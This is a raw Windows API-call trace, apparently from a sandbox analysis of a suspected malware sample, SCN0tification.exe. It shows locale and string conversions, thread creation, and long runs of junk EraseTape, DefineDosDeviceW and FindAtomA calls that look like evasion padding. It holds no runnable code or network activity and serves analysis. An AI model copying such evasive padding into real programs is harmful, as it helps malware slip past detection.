!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䈗@Ā") returned 256 [0061.778] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x75190000 [0061.778] GetProcAddress (hModule=0x75190000, lpProcName="LCMapStringEx") returned 0x75233690 [0061.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䈗@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0061.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䈗@Ā", cchSrc=256, lpDestStr=0x19ed88, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0061.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x19f75c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1b\xd1\x54\x67\x98\xf9\x19", lpUsedDefaultChar=0x0) returned 256 [0061.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f85c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f85c, cbMultiByte=256, lpWideCharStr=0x19efb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0061.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0061.778] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19eda8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0061.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x19f65c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1b\xd1\x54\x67\x98\xf9\x19", lpUsedDefaultChar=0x0) returned 256 [0061.778] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x418c68, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\scn0tification.exe")) returned 0x30 [0061.778] RtlInitializeSListHead (in: ListHead=0x418b80 | out: ListHead=0x418b80) [0061.779] GetLastError () returned 0x0 [0061.779] SetLastError (dwErrCode=0x0) [0061.779] GetEnvironmentStringsW () returned 0x5bb190* [0061.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1331, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1331 [0061.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1331, lpMultiByteStr=0x5bbc00, cbMultiByte=1331, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1331 [0061.779] FreeEnvironmentStringsW (penv=0x5bb190) returned 1 [0061.780] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0061.780] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40183e) returned 0x41dc10 [0061.780] GetStartupInfoW (in: lpStartupInfo=0x19f9b8 | out: lpStartupInfo=0x19f9b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0061.780] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0061.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40e1a0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0061.780] Sleep (dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xd3c Thread: id = 3 os_tid = 0xd68 [0061.781] CreateFileW (lpFileName="HotGIrls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\hotgirls"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0061.784] GetLastError () returned 0x0 [0061.784] GetCurrentThread () returned 0xfffffffe [0061.784] Sleep (dwMilliseconds=0x1388) [0066.793] GetLastError () returned 0x0 [0066.793] EraseTape (hDevice=0x0, dwEraseType=0x0, bImmediate=0) returned 0x6 [0066.793] DefineDosDeviceW (dwFlags=0x0, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.793] GetACP () returned 0x4e4 [0066.793] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.793] GetLastError () returned 0x2 [0066.793] EraseTape (hDevice=0x0, dwEraseType=0x1, bImmediate=0) returned 0x6 [0066.793] DefineDosDeviceW (dwFlags=0x1, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.794] GetACP () returned 0x4e4 [0066.794] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.794] GetLastError () returned 0x2 [0066.794] EraseTape (hDevice=0x0, dwEraseType=0x2, bImmediate=0) returned 0x6 [0066.794] DefineDosDeviceW (dwFlags=0x2, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.794] GetACP () returned 0x4e4 [0066.794] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.794] GetLastError () returned 0x2 [0066.794] EraseTape (hDevice=0x0, dwEraseType=0x3, bImmediate=0) returned 0x6 [0066.794] DefineDosDeviceW (dwFlags=0x3, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.794] GetACP () returned 0x4e4 [0066.794] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.794] GetLastError () returned 0x2 [0066.794] EraseTape (hDevice=0x0, dwEraseType=0x4, bImmediate=0) returned 0x6 [0066.794] DefineDosDeviceW (dwFlags=0x4, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.794] GetLastError () returned 0x57 [0066.794] GetCurrentThread () returned 0xfffffffe [0066.794] GetLastError () returned 0x57 [0066.794] EraseTape (hDevice=0x0, dwEraseType=0x5, bImmediate=0) returned 0x6 [0066.794] DefineDosDeviceW (dwFlags=0x5, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.794] GetLastError () returned 0x57 [0066.794] GetCurrentThread () returned 0xfffffffe [0066.794] GetLastError () returned 0x57 [0066.794] EraseTape (hDevice=0x0, dwEraseType=0x6, bImmediate=0) returned 0x6 [0066.794] DefineDosDeviceW (dwFlags=0x6, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.795] GetLastError () returned 0x2 [0066.795] GetCurrentThread () returned 0xfffffffe [0066.795] GetLastError () returned 0x2 [0066.795] EraseTape (hDevice=0x0, dwEraseType=0x7, bImmediate=0) returned 0x6 [0066.795] DefineDosDeviceW (dwFlags=0x7, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.795] GetLastError () returned 0x2 [0066.795] GetCurrentThread () returned 0xfffffffe [0066.795] GetLastError () returned 0x2 [0066.795] EraseTape (hDevice=0x0, dwEraseType=0x8, bImmediate=0) returned 0x6 [0066.795] DefineDosDeviceW (dwFlags=0x8, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.795] GetACP () returned 0x4e4 [0066.795] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.795] GetLastError () returned 0x2 [0066.795] EraseTape (hDevice=0x0, dwEraseType=0x9, bImmediate=0) returned 0x6 [0066.795] DefineDosDeviceW (dwFlags=0x9, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.795] GetACP () returned 0x4e4 [0066.795] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.795] GetLastError () returned 0x2 [0066.795] EraseTape (hDevice=0x0, dwEraseType=0xa, bImmediate=0) returned 0x6 [0066.795] DefineDosDeviceW (dwFlags=0xa, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.796] GetACP () returned 0x4e4 [0066.796] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.796] GetLastError () returned 0x2 [0066.796] EraseTape (hDevice=0x0, dwEraseType=0xb, bImmediate=0) returned 0x6 [0066.796] DefineDosDeviceW (dwFlags=0xb, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 1 [0066.796] GetACP () returned 0x4e4 [0066.796] FindAtomA (lpString="KLHJGWSEUiokgvs") returned 0x0 [0066.796] GetLastError () returned 0x2 [0066.796] EraseTape (hDevice=0x0, dwEraseType=0xc, bImmediate=0) returned 0x6 [0066.796] DefineDosDeviceW (dwFlags=0xc, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.796] GetLastError () returned 0x57 [0066.796] GetCurrentThread () returned 0xfffffffe [0066.796] GetLastError () returned 0x57 [0066.796] EraseTape (hDevice=0x0, dwEraseType=0xd, bImmediate=0) returned 0x6 [0066.796] DefineDosDeviceW (dwFlags=0xd, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.796] GetLastError () returned 0x57 [0066.796] GetCurrentThread () returned 0xfffffffe [0066.796] GetLastError () returned 0x57 [0066.796] EraseTape (hDevice=0x0, dwEraseType=0xe, bImmediate=0) returned 0x6 [0066.796] DefineDosDeviceW (dwFlags=0xe, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.796] GetLastError () returned 0x2 [0066.796] GetCurrentThread () returned 0xfffffffe [0066.796] GetLastError () returned 0x2 [0066.796] EraseTape (hDevice=0x0, dwEraseType=0xf, bImmediate=0) returned 0x6 [0066.796] DefineDosDeviceW (dwFlags=0xf, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x2 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x2 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x10, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x10, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x11, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x11, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x12, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x12, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x13, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x13, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x14, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x14, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x15, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x15, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 